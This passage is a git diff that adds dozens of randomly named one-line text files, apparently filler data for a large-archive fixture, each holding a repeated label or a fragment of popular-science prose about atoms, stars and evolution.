+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_begpnylwvduec.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_bpncktojryucexxre.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_bpncktojryucexxre.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_bpncktojryucexxre.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_dvdbznwxcigbxsd.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_dvdbznwxcigbxsd.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_dvdbznwxcigbxsd.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_ebufliahwyhn.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_ebufliahwyhn.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_ebufliahwyhn.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_fokagqztgk.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_fokagqztgk.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_fokagqztgk.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_gfpkrpvljzpqyrzipd.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_gfpkrpvljzpqyrzipd.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_gfpkrpvljzpqyrzipd.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_lockxhpiftnwwm.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_lockxhpiftnwwm.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_lockxhpiftnwwm.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_lsohrwwfhwyb.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_lsohrwwfhwyb.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_lsohrwwfhwyb.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_qmlwadxnjnbvfcqezkcw.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_qmlwadxnjnbvfcqezkcw.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_qmlwadxnjnbvfcqezkcw.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_sjovoomznkvb.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_sjovoomznkvb.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_sjovoomznkvb.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_syfwtcum.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_syfwtcum.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_syfwtcum.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_usacrfakjc.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_usacrfakjc.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_usacrfakjc.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_vbyrhoijwns.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_vbyrhoijwns.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_vbyrhoijwns.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_wxguqohzsilhxofoqeb.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_wxguqohzsilhxofoqeb.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_wxguqohzsilhxofoqeb.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_xkixqdivwstqssnkrgtepjh.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_xkixqdivwstqssnkrgtepjh.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_xkixqdivwstqssnkrgtepjh.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_xnlygwqrndhvus.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_xnlygwqrndhvus.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_xnlygwqrndhvus.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/file_zsshuwlfcawjpkutatvphyx.txt b/big_zip/big-zip-files/folder_bsaimdjweb/file_zsshuwlfcawjpkutatvphyx.txt
new file mode 100644
index 0000000..89795fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/file_zsshuwlfcawjpkutatvphyx.txt
@@ -0,0 +1 @@
+Duchess Christina:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/awsqtvtvoutd.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/awsqtvtvoutd.txt
new file mode 100644
index 0000000..4b54628
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/awsqtvtvoutd.txt
@@ -0,0 +1 @@
+There may be other effective methods of communication that have substantial merit:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/azwgbqxqmtynu.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/azwgbqxqmtynu.txt
new file mode 100644
index 0000000..2eb13de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/azwgbqxqmtynu.txt
@@ -0,0 +1 @@
+positively charged protons and electrically neutral neutrons. Atoms are very small - onehundred million of them end to end would be as large as the tip of your little finger. But the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/dhhdwnscv.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/dhhdwnscv.txt
new file mode 100644
index 0000000..faae463
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/dhhdwnscv.txt
@@ -0,0 +1 @@
+numbers of stars in all directions in the plane or band of the Milky Way; from this,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/doeqadykhahfhiemdsfb.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/doeqadykhahfhiemdsfb.txt
new file mode 100644
index 0000000..8afc621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/doeqadykhahfhiemdsfb.txt
@@ -0,0 +1 @@
+of the stellar fires in N49 is a simpler hypothesis: we are sure there are such things as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ahtpafocjqvawxqangiyxgz.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ahtpafocjqvawxqangiyxgz.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ahtpafocjqvawxqangiyxgz.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ajfpmcnjrvpg.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ajfpmcnjrvpg.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ajfpmcnjrvpg.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_aylswtqxjudhjqvtdlzwweow.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_aylswtqxjudhjqvtdlzwweow.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_aylswtqxjudhjqvtdlzwweow.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_bjpqjtirwkxsj.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_bjpqjtirwkxsj.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_bjpqjtirwkxsj.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_dctmxzciqzqqkowopuwer.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_dctmxzciqzqqkowopuwer.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_dctmxzciqzqqkowopuwer.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_fkjtjhizmrxmoyftrjg.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_fkjtjhizmrxmoyftrjg.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_fkjtjhizmrxmoyftrjg.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_fwtavtppuqwyhoxsmwyv.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_fwtavtppuqwyhoxsmwyv.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_fwtavtppuqwyhoxsmwyv.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_hdwmcqdxunywr.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_hdwmcqdxunywr.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_hdwmcqdxunywr.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_hkkaomlgakze.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_hkkaomlgakze.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_hkkaomlgakze.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_jvrihhez.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_jvrihhez.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_jvrihhez.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_kaclpelabrssezu.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_kaclpelabrssezu.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_kaclpelabrssezu.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_kzlglifnpww.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_kzlglifnpww.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_kzlglifnpww.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_lzqbzdvrjfsetoqoq.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_lzqbzdvrjfsetoqoq.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_lzqbzdvrjfsetoqoq.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_mmyqnneqccbabmifoxr.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_mmyqnneqccbabmifoxr.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_mmyqnneqccbabmifoxr.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_nechbphmrmptzqsv.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_nechbphmrmptzqsv.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_nechbphmrmptzqsv.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_puhmdkomqosyxhpxmpajd.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_puhmdkomqosyxhpxmpajd.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_puhmdkomqosyxhpxmpajd.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ryzjfkdmcgeaxagnxpjk.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ryzjfkdmcgeaxagnxpjk.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ryzjfkdmcgeaxagnxpjk.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_wikjuqpkes.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_wikjuqpkes.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_wikjuqpkes.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_wljdbojhjlv.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_wljdbojhjlv.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_wljdbojhjlv.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ylqhjbdjszvstjkwluc.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ylqhjbdjszvstjkwluc.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_ylqhjbdjszvstjkwluc.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_znrvpfbotumbifblat.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_znrvpfbotumbifblat.txt
new file mode 100644
index 0000000..9f49c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/file_znrvpfbotumbifblat.txt
@@ -0,0 +1 @@
+certain varieties, having properties we consider desirable, preferentially reproduced. When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/hojukvzbrukxo.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/hojukvzbrukxo.txt
new file mode 100644
index 0000000..a7727a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/hojukvzbrukxo.txt
@@ -0,0 +1 @@
+eventually becomes abundant; the variety selected against becomes rare and perhaps
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/iwxvpncxi.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/iwxvpncxi.txt
new file mode 100644
index 0000000..785e4ba
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/iwxvpncxi.txt
@@ -0,0 +1 @@
+to think these activities altogether unrelated.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/kckozjtouykhegfjxxbisav.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/kckozjtouykhegfjxxbisav.txt
new file mode 100644
index 0000000..7e92682
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/kckozjtouykhegfjxxbisav.txt
@@ -0,0 +1 @@
+palimpsest, like the palimpsests of ancient writers short of papyrus or stone who
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/oeetlzdhaxra.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/oeetlzdhaxra.txt
new file mode 100644
index 0000000..a15626d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/oeetlzdhaxra.txt
@@ -0,0 +1 @@
+had been blown there from other, more clement environments. Recalling the Mars Jars
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/okdejyahzdavugcj.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/okdejyahzdavugcj.txt
new file mode 100644
index 0000000..140e104
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/okdejyahzdavugcj.txt
@@ -0,0 +1 @@
+dissipate, often to be reformed again. Our sense of galaxies as ponderous rigid bodies is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/ormfpcpawakrndysjpeumc.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/ormfpcpawakrndysjpeumc.txt
new file mode 100644
index 0000000..14b35e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/ormfpcpawakrndysjpeumc.txt
@@ -0,0 +1 @@
+Slowly a thought came: The stars are flame, I thought. Then I had another thought: The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/pikcmdgpl.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/pikcmdgpl.txt
new file mode 100644
index 0000000..d28572a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/pikcmdgpl.txt
@@ -0,0 +1 @@
+by sunlight, taking in water from the ground and carbon dioxide from the air, converting
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/rjhtwusburnmnnolxse.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/rjhtwusburnmnnolxse.txt
new file mode 100644
index 0000000..ddf21ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/rjhtwusburnmnnolxse.txt
@@ -0,0 +1 @@
+the oceans liquid and life possible. A little greenhouse is a good thing. Like Venus, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/rtyfkdtsaipwhpmdhnqmf.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/rtyfkdtsaipwhpmdhnqmf.txt
new file mode 100644
index 0000000..1d95d7b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/rtyfkdtsaipwhpmdhnqmf.txt
@@ -0,0 +1 @@
+So how can a nucleus stick together? Why does it not instantly fly apart? Because there is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/vkvcpccfijzvqwfzicoixjxd.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/vkvcpccfijzvqwfzicoixjxd.txt
new file mode 100644
index 0000000..38382fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/vkvcpccfijzvqwfzicoixjxd.txt
@@ -0,0 +1 @@
+not all the lines appear equal, and not all the angles are right angles. The three-dimensional
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/vxgnaxydtspunfvwsz.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/vxgnaxydtspunfvwsz.txt
new file mode 100644
index 0000000..b17631b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/vxgnaxydtspunfvwsz.txt
@@ -0,0 +1 @@
+trivial sense but also I believe in a very deep psychological sense, that war is murder writ
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/xpgycmilheeeldwxeiawlh.txt b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/xpgycmilheeeldwxeiawlh.txt
new file mode 100644
index 0000000..b24f57e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bsaimdjweb/folder_xsamakaxwi/xpgycmilheeeldwxeiawlh.txt
@@ -0,0 +1 @@
+seems to move. I can estimate the distance to my finger from the amount of this apparent
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_cdfxfjlsyfr.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_cdfxfjlsyfr.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_cdfxfjlsyfr.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_dbqapmkdebojxyjtrhmqfhaw.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_dbqapmkdebojxyjtrhmqfhaw.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_dbqapmkdebojxyjtrhmqfhaw.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_eloqxcitths.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_eloqxcitths.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_eloqxcitths.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_gwtbibgvuyfqjlrwv.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_gwtbibgvuyfqjlrwv.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_gwtbibgvuyfqjlrwv.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_hjyktpqs.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_hjyktpqs.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_hjyktpqs.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_lgmyvagq.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_lgmyvagq.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_lgmyvagq.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_pbisqwpuvmdbweedrdlzm.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_pbisqwpuvmdbweedrdlzm.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_pbisqwpuvmdbweedrdlzm.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_pdgcrvyatxzpfknir.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_pdgcrvyatxzpfknir.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_pdgcrvyatxzpfknir.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_ufgnleyqplhb.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_ufgnleyqplhb.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_ufgnleyqplhb.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/file_vtkgmcfqvftvvfmarqvmcld.txt b/big_zip/big-zip-files/folder_cbuspegnaj/file_vtkgmcfqvftvvfmarqvmcld.txt
new file mode 100644
index 0000000..aec0e34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/file_vtkgmcfqvftvvfmarqvmcld.txt
@@ -0,0 +1 @@
+different from us? What is their form, biochemistry, neurobiology, history, politics, science,
\ No newline at end of file
